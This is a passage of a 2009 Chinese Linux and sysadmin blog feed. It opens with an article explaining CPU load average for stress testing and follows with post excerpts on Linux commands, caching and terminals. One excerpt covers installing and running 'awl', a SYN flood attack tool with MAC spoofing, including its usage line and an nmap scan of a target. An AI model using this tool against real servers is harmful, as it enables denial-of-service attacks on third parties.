压力测试不仅需要对业务场景的并发用户等压力参数作模拟，同时也需要在压力测试过程中随时关注机器的性能情况，来确保压力测试的有效性。当服务器长期处于一种超负荷的情况下运行，所能接收的压力并不是我们所认为的可接受的压力。就好比项目经理在给一个人估工作量的时候，每天都让这个人工作12个小时，那么所制定的项目计划就不是一个合理的计划，那个人迟早会垮掉，而影响整体的项目进度。
CPU利用率在过去常常被我们这些外行认为是判断机器是否已经到了满负荷的一个标准，看到50%-60%的使用率就认为机器就已经压到了临界了。CPU利用率，顾名思义就是对于CPU的使用状况，这是对一个时间段内CPU使用状况的统计，通过这个指标可以看出在某一个时间段内CPU被占用的情况，如果被占用时间很高，那么就需要考虑CPU是否已经处于超负荷运作，长期超负荷运作对于机器本身来说是一种损害，因此必须将CPU的利用率控制在一定的比例下，以保证机器的正常运作。
Load Average是CPU的Load，它所包含的信息不是CPU的使用率状况，而是在一段时间内CPU正在处理以及等待CPU处理的进程数之和的统计信息，也就是CPU使用队列的长度的统计信息。为什么要统计这个信息，这个信息的对于压力测试的影响究竟是怎么样的，那就通过一个类比来解释CPU利用率和Load Average的区别以及对于压力测试的指导意义。
我们将CPU就类比为电话亭，每一个进程都是一个需要打电话的人。现在一共有4个电话亭（就好比我们的机器有4核），有10个人需要打电话。现在使用电话的规则是管理员会按照顺序给每一个人轮流分配1分钟的使用电话时间，如果使用者在1分钟内使用完毕，那么可以立刻将电话使用权返还给管理员，如果到了1分钟电话使用者还没有使用完毕，那么需要重新排队，等待再次分配使用。

图 3 电话使用场景
上图中对于使用电话的用户又作了一次分类，1min的代表这些使用者占用电话时间小于等于1min，2min表示使用者占用电话时间小于等于2min，以此类推。根据电话使用规则，1min的用户只需要得到一次分配即可完成通话，而其他两类用户需要排队两次到三次。
电话的利用率 = sum (active use cpu time)/period
每一个分配到电话的使用者使用电话时间的总和去除以统计的时间段。这里需要注意的是是使用电话的时间总和(sum(active use cpu time))，这与占用时间的总和(sum(occupy cpu time))是有区别的。（例如一个用户得到了一分钟的使用权，在10秒钟内打了电话，然后去查询号码本花了20秒钟，再用剩下的30秒打了另一个电话，那么占用了电话1分钟，实际只是使用了40秒）
电话的Average Load体现的是在某一统计时间段内，所有使用电话的人加上等待电话分配的人一个平均统计。
电话利用率的统计能够反映的是电话被使用的情况，当电话长期处于被使用而没有的到足够的时间休息间歇，那么对于电话硬件来说是一种超负荷的运作，需要调整使用频度。而电话Average Load却从另一个角度来展现对于电话使用状态的描述，Average Load越高说明对于电话资源的竞争越激烈，电话资源比较短缺。对于资源的申请和维护其实也是需要很大的成本，所以在这种高Average Load的情况下电话资源的长期“热竞争”也是对于硬件的一种损害。
低利用率的情况下是否会有高Load Average的情况产生呢？理解占有时间和使用时间就可以知道，当分配时间片以后，是否使用完全取决于使用者，因此完全可能出现低利用率高Load Average的情况。由此来看，仅仅从CPU的使用率来判断CPU是否处于一种超负荷的工作状态还是不够的，必须结合Load Average来全局的看CPU的使用情况和申请情况。
所以回过头来再看测试部对于Load Average的要求，在我们机器为8个CPU的情况下，控制在10 Load左右，也就是每一个CPU正在处理一个请求，同时还有2个在等待处理。看了看网上很多人的介绍一般来说Load简单的计算就是2* CPU个数减去1-2左右（这个只是网上看来的，未必是一个标准）。
补充几点：
1．对于CPU利用率和CPU Load Average的结果来判断性能问题。首先低CPU利用率不表明CPU不是瓶颈，竞争CPU的队列长期保持较长也是CPU超负荷的一种表现。对于应用来说可能会去花时间在I/O,Socket等方面，那么可以考虑是否后这些硬件的速度影响了整体的效率。
这里最好的样板范例就是我在测试中发现的一个现象：SIP当前在处理过程中，为了提高处理效率，将控制策略以及计数信息都放置在Memcached Cache里面，当我将Memcached Cache配置扩容一倍以后，CPU的利用率以及Load都有所下降，其实也就是在处理任务的过程中，等待Socket的返回对于CPU的竞争也产生了影响。
2．未来多CPU编程的重要性。现在服务器的CPU都是多CPU了，我们的服务器处理能力已经不再按照摩尔定律来发展。就我上面提到的电话亭场景来看，对于三种不同时间需求的用户来说，采用不同的分配顺序，我们可看到的Load Average就会有不同。假设我们统计Load的时间段为2分钟，如果将电话分配的顺序按照：1min的用户，2min的用户，3min的用户来分配，那么我们的Load Average将会最低，采用其他顺序将会有不同的结果。所以未来的多CPU编程可以更好的提高CPU的利用率，让程序跑的更快。
以上所提到的内容未必都是很准确或者正确，如果有任何的偏差也请大家指出，可以纠正一些不清楚的概念。

]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2009/12/18/919/load-average-good-understanding-of-stress-testing.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>touch &#8211;help</title>
		<link>http://blog.thematice.com/html/y2009/12/15/908/touch-help.html</link>
		<comments>http://blog.thematice.com/html/y2009/12/15/908/touch-help.html#comments</comments>
		<pubDate>Tue, 15 Dec 2009 04:18:24 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[未分类]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[tools]]></category>
		<category><![CDATA[touch]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/html/y2009/12/15/908_touch-help.html</guid>
		<description><![CDATA[
?Download shell.sh1
2
3
4
5
touch --help
Usage: touch [OPTION]... FILE...
Update the access and modification times of each FILE to the current time.
&#160;
Mandatory arguments to long options are mandatory for short options too.



?Download shell.sh1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  -a                     change only the access [...]]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2009/12/15/908/touch-help.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>linux sort 命令详解</title>
		<link>http://blog.thematice.com/html/y2009/12/12/907/linux-sort-%e5%91%bd%e4%bb%a4%e8%af%a6%e8%a7%a3.html</link>
		<comments>http://blog.thematice.com/html/y2009/12/12/907/linux-sort-%e5%91%bd%e4%bb%a4%e8%af%a6%e8%a7%a3.html#comments</comments>
		<pubDate>Fri, 11 Dec 2009 16:06:31 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Linux tools]]></category>
		<category><![CDATA[linux shell]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[sort]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/html/y2009/12/12/907_linux-sort-%e5%91%bd%e4%bb%a4%e8%af%a6%e8%a7%a3.html</guid>
		<description><![CDATA[ &#160; &#160;sort命令的功能是对文件中的各行进行排序。sort命令有许多非常实用的选项，这些选项最初是用来对数据库格式的文件内容进行各种排序操作的。实际上，sort命令可以被认为是一个非常强大的数据管理工具，用来管理内容类似数据库记录的文件。 　　Sort命令将逐行对文件中的内容进行排序，如果两行的首字符相同，该命令将继续比较这两行的下一字符，如果还相同，将继续进行比较。 　　语法： 　　sort ［选项］ 文件 　　说明：sort命令对指定文件中所有的行进行排序，并将结果显示在标准输出上。如不指定输入文件或使用&#8221;- &#8220;，则表示排序内容来自标准输入。  &#160;　　sort排序是根据从输入行抽取的一个或多个关键字进行比较来完成的。排序关键字定义了用来排序的最小的字符序列。缺省情况下以整行为关键字按ASCII字符顺序进行排序。  &#160;　　改变缺省设置的选项主要有：  &#160;　　- m 若给定文件已排好序，合并文件。  &#160;　　- c 检查给定文件是否已排好序，如果它们没有都排好序，则打印一个出错信息，并以状态值1退出。  &#160;　　- u 对排序后认为相同的行只留其中一行。  &#160;　　- o 输出文件 将排序输出写到输出文件中而不是标准输出，如果输出文件是输入文件之一，sort先将该文件的内容写入一个临时文件，然后再排序和写输出结果。  &#160;　　改变缺省排序规则的选项主要有：  &#160;　　- d 按字典顺序排序，比较时仅字母、数字、空格和制表符有意义。  &#160;　　- f 将小写字母与大写字母同等对待。  &#160;　　- I 忽略非打印字符。  &#160;　　- M 作为月份比较：&#8221;JAN&#8221;]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2009/12/12/907/linux-sort-%e5%91%bd%e4%bb%a4%e8%af%a6%e8%a7%a3.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>wget下载整个网站</title>
		<link>http://blog.thematice.com/html/y2009/11/06/861/wget-down-all-web-site.html</link>
		<comments>http://blog.thematice.com/html/y2009/11/06/861/wget-down-all-web-site.html#comments</comments>
		<pubDate>Fri, 06 Nov 2009 04:14:32 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[Linux net]]></category>
		<category><![CDATA[Linux tools]]></category>
		<category><![CDATA[linux shell]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[tools]]></category>
		<category><![CDATA[wget]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/?p=861</guid>
		<description><![CDATA[可以使用下面的命令 wget -r -p -k -np http://blog.thematice.com , -r 表示递归下载,会下载所有的链接,不过要注意的是,不要单独使用这个参数,因为如果你要下载的网站也有别的网站的链接,wget也会把别的网站的东西下载 下来,由于互联网的特性,很有可能你会把整个互联网给下载下来 &#8211;,所以要加上 -np这个参数,表示不下载别的站点的链接. -k表示将下载的网页里的链接修改为本地链接.-p获得所以显示网页所需的元素,比如图片什么的.
另外还有其他的一些参数可以使用:

-c表示断点续传
-t 100表示重试100次,-t 0表示无穷次重试
另外可以将要下载的url写到一个文件中,每个url一行,使用这样的命令 wget -i download.txt.
&#8211;reject=avi,rmvb 表示不下载avi,rmvb的文件,&#8211;accept=jpg,jpeg,表示只下载jpg,jpeg的文件.
可以在用户目录下建立一个.wgetrc的文件(windows里面好像不能直接建立这样的文件,windows会认为没有文件名&#8211;),里面写上 http-proxy = 123.456.78.9:80,然后在加上参数 &#8211;proxy=on,如果需要密码,再加上下面的参数 &#8211;proxy-user=username, &#8211;proxy-passwd=password 

]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2009/11/06/861/wget-down-all-web-site.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LINUX的du命令详解</title>
		<link>http://blog.thematice.com/html/y2009/11/01/786/linux%e7%9a%84du%e5%91%bd%e4%bb%a4%e8%af%a6%e8%a7%a3.html</link>
		<comments>http://blog.thematice.com/html/y2009/11/01/786/linux%e7%9a%84du%e5%91%bd%e4%bb%a4%e8%af%a6%e8%a7%a3.html#comments</comments>
		<pubDate>Sun, 01 Nov 2009 08:44:08 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Linux tools]]></category>
		<category><![CDATA[linux shell]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[du]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/?p=786</guid>
		<description><![CDATA[命令用途
   du(disk usage)命令可以计算文件或目录所占的磁盘空间。没有指定任何选项时，它会测量当前工作目录与其所有子目录，分别显示各个目录所占的快数，最后才显示工作目录所占总快数。
命令格式


?Download shell1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
      du [OPTION]... [FILE]...     
       -a, --all
              包括了所有的文件，而不只是目录
       --apparent-size
        [...]]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2009/11/01/786/linux%e7%9a%84du%e5%91%bd%e4%bb%a4%e8%af%a6%e8%a7%a3.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>linux下dd命令详解</title>
		<link>http://blog.thematice.com/html/y2009/11/01/787/dd-command-under-linux-xiangjie.html</link>
		<comments>http://blog.thematice.com/html/y2009/11/01/787/dd-command-under-linux-xiangjie.html#comments</comments>
		<pubDate>Sun, 01 Nov 2009 08:35:09 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[Linux tools]]></category>
		<category><![CDATA[linux shell]]></category>
		<category><![CDATA[dd]]></category>
		<category><![CDATA[disk]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[toos]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/?p=787</guid>
		<description><![CDATA[使用权限: 所有使用者dd 这个指令在 manual 里的定义是 convert and copy a file
使用方式:
dd [option]
如果你想要在线看 manual, 可以试试:
dd &#8211;help
或是
info dd
如果你想要看看这个版本如何:
dd &#8211;version

输入或输出
dd if=[STDIN] of=[STDOUT]
强迫输入或输出的Size为多少Bytes
bs: dd -ibs=[BYTE] -obs=[SIZE]
强迫一次只做多少个 Bytes
cbs=BYTES
跳过一段以后才输出
seek=BLOCKS
跳过一段以后才输入
skip=BLOCKS
当然你可以拿这个来方便的拷贝光碟(注意，你的光碟是标准的 iso9660格式才可以这么做唷！)

?Download shell.sh1
dd if=/dev/cdrom of=cdrom.iso

其中 if 后面以及 of 后面的内容依你的需求调整。
然后给系统这个指令就可以烧了:
cdrecord -v cdrom.iso
这篇不是在讲 cdrecord 的，所以上面的指令是最为简单但是不一定能符合您的硬件环境&#8230;
功能：把指定的输入文件拷贝到指定的输出文件中，并且在拷贝过程中可以进行格式转换。可以用该命令实现DOS下的diskcopy命令的作用。先用dd命令把软盘上的数据写成硬盘的一个寄存文件，再把这个寄存文件写入第二张软盘上，完成diskcopy的功能。需要注意的是，应该将硬盘上的寄存文件用rm命令删除掉。系统默认使用标准输入文件和标准输出文件。
语法：dd [选项]
if =输入文件（或设备名称）。
of =输出文件（或设备名称）。
ibs = bytes 一次读取bytes字节，即读入缓冲区的字节数。
skip = blocks 跳过读入缓冲区开头的ibs*blocks块。
obs = bytes 一次写入bytes字节，即写入缓冲区的字节数。
bs = bytes 同时设置读/写缓冲区的字节数（等于设置ibs和obs）。
cbs = byte 一次转换bytes字节。
count=blocks 只拷贝输入的blocks块。
conv = ASCII [...]]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2009/11/01/787/dd-command-under-linux-xiangjie.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>screen命令在centos&#124;freebsd安装和使用,好爽的命令</title>
		<link>http://blog.thematice.com/html/y2009/10/28/788/screen-command-in-centos-freebsd-install-and-use-thrilled-the-command.html</link>
		<comments>http://blog.thematice.com/html/y2009/10/28/788/screen-command-in-centos-freebsd-install-and-use-thrilled-the-command.html#comments</comments>
		<pubDate>Wed, 28 Oct 2009 10:09:09 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Linux tools]]></category>
		<category><![CDATA[linux shell]]></category>
		<category><![CDATA[centos]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[screen]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/html/y2009/10/28/788_screen%e5%91%bd%e4%bb%a4%e5%9c%a8centosfreebsd%e5%ae%89%e8%a3%85%e5%92%8c%e4%bd%bf%e7%94%a8%e5%a5%bd%e7%88%bd%e7%9a%84%e5%91%bd%e4%bb%a4.html</guid>
		<description><![CDATA[以前在freebsd下使用SSH远程登录linux时，如果连接非正常中断，重新连接时，系统将开一个新的session，无法恢复原来的 session.screen命令可以解决这个问题。Screen工具是一个终端多路转接器，在本质上，这意味着你能够使用一个单一的终端窗口运行多终端的应用。
早点知道这命令就好了，在往时在ssh搞东西时，有时不能关掉终端，所以要开多一部电脑，麻烦，现在这样爽了。
安装
# cd /usr/ports/sysutils/screen
# make install clean
安装
# yum install screen* -y

使用
# screen
//以下^A表示同按“Ctrl + A”键
# ^A c //Create，开出新的 window
# ^A n //Next，切换到下个 window
# ^A p //Previous，前一个 window
# ^A ^A //在两个 window 间切换
# ^A w //Windows，列出已开启的 windows 有那些
# ^A 0…9 //切换到第 0..9 个 window
# ^A t //Time，显示目前的时间，与系统的 load
# ^A K //kill window，强制关掉目前的 window
# ^A ? //Help，显示简单说明
# ^A [...]]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2009/10/28/788/screen-command-in-centos-freebsd-install-and-use-thrilled-the-command.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>erlang网络编程的几个性能调优和注意点</title>
		<link>http://blog.thematice.com/html/y2009/10/25/782/erlang%e7%bd%91%e7%bb%9c%e7%bc%96%e7%a8%8b%e7%9a%84%e5%87%a0%e4%b8%aa%e6%80%a7%e8%83%bd%e8%b0%83%e4%bc%98%e5%92%8c%e6%b3%a8%e6%84%8f%e7%82%b9.html</link>
		<comments>http://blog.thematice.com/html/y2009/10/25/782/erlang%e7%bd%91%e7%bb%9c%e7%bc%96%e7%a8%8b%e7%9a%84%e5%87%a0%e4%b8%aa%e6%80%a7%e8%83%bd%e8%b0%83%e4%bc%98%e5%92%8c%e6%b3%a8%e6%84%8f%e7%82%b9.html#comments</comments>
		<pubDate>Sun, 25 Oct 2009 01:28:45 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[erlang]]></category>
		<category><![CDATA[云计算]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/?p=782</guid>
		<description><![CDATA[前些天给echo_server写了个非常简单的连接压力测试程序,
代码

?Download echo_server.erl1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
-module(stress_test).   
&#160;
-export([start/0, tests/1]).   
&#160;
start() -&#62;   
    tests(12345).   
&#160;
tests(Port) -&#62;   
    io:format(&#34;starting~n&#34;),   
    spawn(fun() -&#62; test(Port) end),   
    spawn(fun() -&#62; test(Port) end),   
    spawn(fun() [...]]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2009/10/25/782/erlang%e7%bd%91%e7%bb%9c%e7%bc%96%e7%a8%8b%e7%9a%84%e5%87%a0%e4%b8%aa%e6%80%a7%e8%83%bd%e8%b0%83%e4%bc%98%e5%92%8c%e6%b3%a8%e6%84%8f%e7%82%b9.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>awl 多线程SYN攻击工具0.2版,加了MAC伪装</title>
		<link>http://blog.thematice.com/html/y2009/10/25/780/awl-%e5%a4%9a%e7%ba%bf%e7%a8%8bsyn%e6%94%bb%e5%87%bb%e5%b7%a5%e5%85%b70-2%e7%89%88%e5%8a%a0%e4%ba%86mac%e4%bc%aa%e8%a3%85.html</link>
		<comments>http://blog.thematice.com/html/y2009/10/25/780/awl-%e5%a4%9a%e7%ba%bf%e7%a8%8bsyn%e6%94%bb%e5%87%bb%e5%b7%a5%e5%85%b70-2%e7%89%88%e5%8a%a0%e4%ba%86mac%e4%bc%aa%e8%a3%85.html#comments</comments>
		<pubDate>Sat, 24 Oct 2009 17:20:21 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[Linux  web]]></category>
		<category><![CDATA[Linux net]]></category>
		<category><![CDATA[攻击]]></category>
		<category><![CDATA[awl]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[max伪装]]></category>
		<category><![CDATA[syn]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/?p=780</guid>
		<description><![CDATA[ 一,安装:
tar -zxvf awl-0.2.tar.gz
./configure
make
make install
awl的执行程序安装后在/usr/local/bin/目录下

二,说明:
awl 的格式如下:
./awl -i eth0 -m aa:bb:cc:dd:ee:ff -d ip -p port
参数如下:
-i 发送包的接口,如果省略默认是eth0
-m 被攻击机器的mac地址,程序不能根据被攻击IP得到MAC,需要手工指定.先ping 目标IP,再arp -a就可以看到.如果省略则为ff:ff:ff:ff:ff:ff
-d 被攻击机器的IP
-p 被攻击机器的端口.
三,测试,
服务器端:centOS 5.0
对方服务器:freebsd  6.2  运行apache
1,首先得知对方IP
运行nmap -v -A 192.168.0.1  查看对方开了啥服务
[root@localhost bin]# nmap -v -A 10.122.89.106
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2008-06-02 19:24 CST
DNS resolution of 1 IPs took 0.39s.
Initiating SYN Stealth Scan against 10.122.89.106 [...]]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2009/10/25/780/awl-%e5%a4%9a%e7%ba%bf%e7%a8%8bsyn%e6%94%bb%e5%87%bb%e5%b7%a5%e5%85%b70-2%e7%89%88%e5%8a%a0%e4%ba%86mac%e4%bc%aa%e8%a3%85.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>lighttpd+modcache实现对小图片的Cache</title>
		<link>http://blog.thematice.com/html/y2009/10/25/774/lighttpdmodcache%e5%ae%9e%e7%8e%b0%e5%af%b9%e5%b0%8f%e5%9b%be%e7%89%87%e7%9a%84cache.html</link>
		<comments>http://blog.thematice.com/html/y2009/10/25/774/lighttpdmodcache%e5%ae%9e%e7%8e%b0%e5%af%b9%e5%b0%8f%e5%9b%be%e7%89%87%e7%9a%84cache.html#comments</comments>
		<pubDate>Sat, 24 Oct 2009 16:59:38 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[cache]]></category>
		<category><![CDATA[lighttpd]]></category>
		<category><![CDATA[cdn]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[modcache]]></category>
		<category><![CDATA[squid]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/?p=774</guid>
		<description><![CDATA[安装环境
操作系统: CentOS release 5.2 (Final)
Kernel: 2.6.18-92.el5PAE
软件列表
fam-latest.tar.gz
gamin-0.1.10.tar.gz
pcre-7.9.tar.gz
lighttpd-1.4.23.modcache.v.1.8.0.tar.gz

软件存放位置
/data/software
安装过程
#cd /data/software/pkg
安装依赖插件pcre, fam, gamin
关于FAM http://oss.sgi.com/projects/fam/faq.html
关于gamin http://www.gnome.org/~veillard/gamin/overview.html
See also: http://trac.lighttpd.net/trac/wiki/server.stat-cache-engineDetails
#tar zxvf ../pcre-7.9.tar.gz
#cd pcre-7.9
#./configure
#make &#038;&#038; make install
#cd ..
#tar zxvf ../fam-latest.tar.gz
#cd fam-2.7.0/
#./configure
#make &#038;&#038; make install
#cd ..
#tar zxvf ../gamin-0.1.10.tar.gz
#cd gamin-0.1.10
#./configure
#make &#038;&#038; make install
安装lighttpd with modcache
#cd /data/software/pkg
#tar zxvf ../lighttpd-1.4.23.modcache.v.1.8.0.tar.gz
#cd lighttpd-1.4.23
#./configure &#8211;with-fam &#8211;prefix=/usr/local/lighttpd
#make &#038;&#038; make install
编辑lighttpd配置文件
#cp doc/lighttpd.conf /etc/
#vi /etc/lighttpd.conf
#启用的modules
server.modules         [...]]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2009/10/25/774/lighttpdmodcache%e5%ae%9e%e7%8e%b0%e5%af%b9%e5%b0%8f%e5%9b%be%e7%89%87%e7%9a%84cache.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>管理终端</title>
		<link>http://blog.thematice.com/html/y2009/10/19/762/management-terminal.html</link>
		<comments>http://blog.thematice.com/html/y2009/10/19/762/management-terminal.html#comments</comments>
		<pubDate>Mon, 19 Oct 2009 06:22:30 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[Linux tools]]></category>
		<category><![CDATA[linux shell]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/html/y2009/10/19/762_%e7%ae%a1%e7%90%86%e7%bb%88%e7%ab%af.html</guid>
		<description><![CDATA[通过bash shell终端显示的数据通常是通过ASCII编码的数据。用户也可以提交非ASCII编码的数据在终端中显示，终端程序会尽力执行。有时，终端会出现乱码，有时候会导致终端长时间的不响应。这时候，我们需要在终端中执行reset命令。执行reset命令的时候，我们可能看不到我们的输入字符。命令输入完成后，按回车键执行，终端就可以恢复正常操作。
Linux终端通过使用Ctrl键来发送特殊的信号。常用的组合键包括：
1、Ctrl+C——终止当前在bash中运行的进程，返回bash提示。

设备/dev/zero是一个伪设备，它的作用是在读取这个设备时，会返回无数个二进制零。
设备/dev/zero是一个伪设备，它的作用是将所有写入这个设备的信息全部丢弃。
2、Ctrl+D——向正在读取信息的进程发送信息传递完毕的信号。
wc命令在没有任何选项和参数的情况下，会对用户从键盘输入的行、词、和字符进行计数。
3、Ctrl+Z——用来挂起程序，挂起的程序可以使用fg命令来恢复。
fg命令是前台的缩写。
4、Ctrl+U——删除当前输入的行。
5、Ctrl+H——功能和Backspace（退格键）功能完全相同。
6、Ctrl+L——传统功能是停止打印当前页，并开始下一行。如果使用在线终端，可以用来刷新终端屏幕。在bash shell中，Ctrl+L组合键指示bash清屏，但是保持当前命令行。
所谓清屏只是将当前命令行显示到终端的第一行，并清除当前行的所有输入。之前执行的命令行都滚动到终端屏幕的上面。
7、Ctrl+S——将屏幕锁住。
8、Ctrl+Q——对锁住的屏幕进行解锁。
9、Ctrl+J——等同于“Enter”j建。
10、Ctrl+G——使终端发出一声振铃。
程序通过位于/dev目录的设备节点和终端在底层交流。大多数进程都会记录启动它们的终端，用户的登录会话通常与他们使用的终端相关。使用设备节点来辨识终端。
终端设备名称采用以下的方式标识：
1、 ttyn：虚拟控制台
2、 ttySn：串口终端设备
3、 pts/n：伪终端设备
4、 :0：X服务器
通过使用Tab键，可以实现命令和文件的补全功能。Tab键的补全功能不是终端的功能，而是bash shell的功能特征。
启动Unicode模式的命令是：unicode_start。停止Unicode模式的命令是：unicode_stop。
在使用Tab补全功能的时候，可能会出现以下两种情况：第一种情况是完整的将命令显示出来；第二种情况是显示一部分字符，然后系统提示一声振铃声。第一种情况下，Tab补全功能已经成功的完成了，第二种情况是系统存在多种选择，这时候你可以继续再按一下Tab键，终端会将可能的选项显示出来，供你选择。
Tab补全功能不仅可以帮助将命令补充完成，对于位于命令操作的文件也可以提供补全功能。和对命令的帮助是一样的，也可以通过按两次Tab键显示出可以选择的文件选项。
Linux系统帮助
在Linux下，为了获得系统的帮助，可以采用以下手段：
1、 通过在命令后面添加选项，我们可以获得命令使用方法的简短概要。常用的选项包括：-h、-?、—help。但是命令并不是支持所有的这些选项。有的命令不支持-?和-h选项。
2、 使用man page，可以获得大多数命令、文件格式、程序调用的文档。使用man命令浏览。man page分成8个标准章节。可以在man命令后面加上章节信息来说明你想浏览的是那一个章节。man命令中常用的两个参数是：（1）-k：用来进行关键词的搜索；（2）-a：可以用来浏览与指定参数相关的所有页的内容。
3、 使用Info page。只提供参考信息，而不提供一般的使用指导。记录了很多复杂命令的说明。在RedHat Linux系统下可以使用info和pinfo两个命令浏览info page。
4、 /usr/share/doc：包含一些未完善的文档。
5、 红帽文档指南。
6、 LDP——Linux文档项目，包括：FAQs、HOWTOs、GUIDEs。FAQs可以提供有关一个主题的常见问题；HOWTOs可以提供如何逐步设置或配置Linux的各个部分；GUIDEs可以更详细的介绍各个部分。
7、 yelp：GNOME帮助浏览器。可以在图形界面下使用的帮助工具。提供了许多GNOME图形应用程序的主要文档。
Man page页划分为了8个章节，从1章节到8章节涉及的主题内容分别为：命令、系统调用、库调用、设备文件、文件格式、游戏、一般信息、管理员命令。
粗体显示的常用快捷键
ctrl+a:光标移到行首。
ctrl+b:光标左移一个字母
ctrl+c:杀死当前进程。
ctrl+d:退出当前 Shell。
ctrl+e:光标移到行尾。
ctrl+f: 光标右移
ctrl+h:删除光标前一个字符，同 backspace 键相同。
ctrl+k:清除光标后至行尾的内容。
ctrl+l:清屏，相当于clear。
ctrl+p 向上翻以前使用的命令
ctrl+n 向下翻以前使用的命令
ctrl+r:搜索之前打过的命令。会有一个提示，根据你输入的关键字进行搜索bash的history
ctrl+u: 清除光标前至行首间的所有内容。
ctrl+w: 移除光标前的一个单词
ctrl+t: 交换光标位置前的两个字符
ctrl+y: 粘贴或者恢复上次的删除
ctrl+d: 删除光标所在字母;注意和backspace以及ctrl+h的区别，这2个是删除光标前的字符
ctrl+u 删除光标以前的所有字符
ctrl+z : 把当前进程转到后台运行，使用’ fg ‘命令恢复。比如top -d1 然后ctrl+z ，到后台，然后fg,重新恢复
自动补全也很好用，可以让我们Working more productively

]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2009/10/19/762/management-terminal.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[转] memcache分析调试 &#8211; [php]</title>
		<link>http://blog.thematice.com/html/y2009/09/29/709/%e8%bd%ac-memcache%e5%88%86%e6%9e%90%e8%b0%83%e8%af%95-php.html</link>
		<comments>http://blog.thematice.com/html/y2009/09/29/709/%e8%bd%ac-memcache%e5%88%86%e6%9e%90%e8%b0%83%e8%af%95-php.html#comments</comments>
		<pubDate>Mon, 28 Sep 2009 17:08:55 +0000</pubDate>
		<dc:creator>稀饭</dc:creator>
				<category><![CDATA[DBM]]></category>
		<category><![CDATA[databases]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[memcached]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[tools]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://blog.thematice.com/?p=709</guid>
		<description><![CDATA[1.关于本文档
       本文档所有的分析都是在1.2版本之上,偶尔会提到比较1.1版本.其他版本没有阅读.
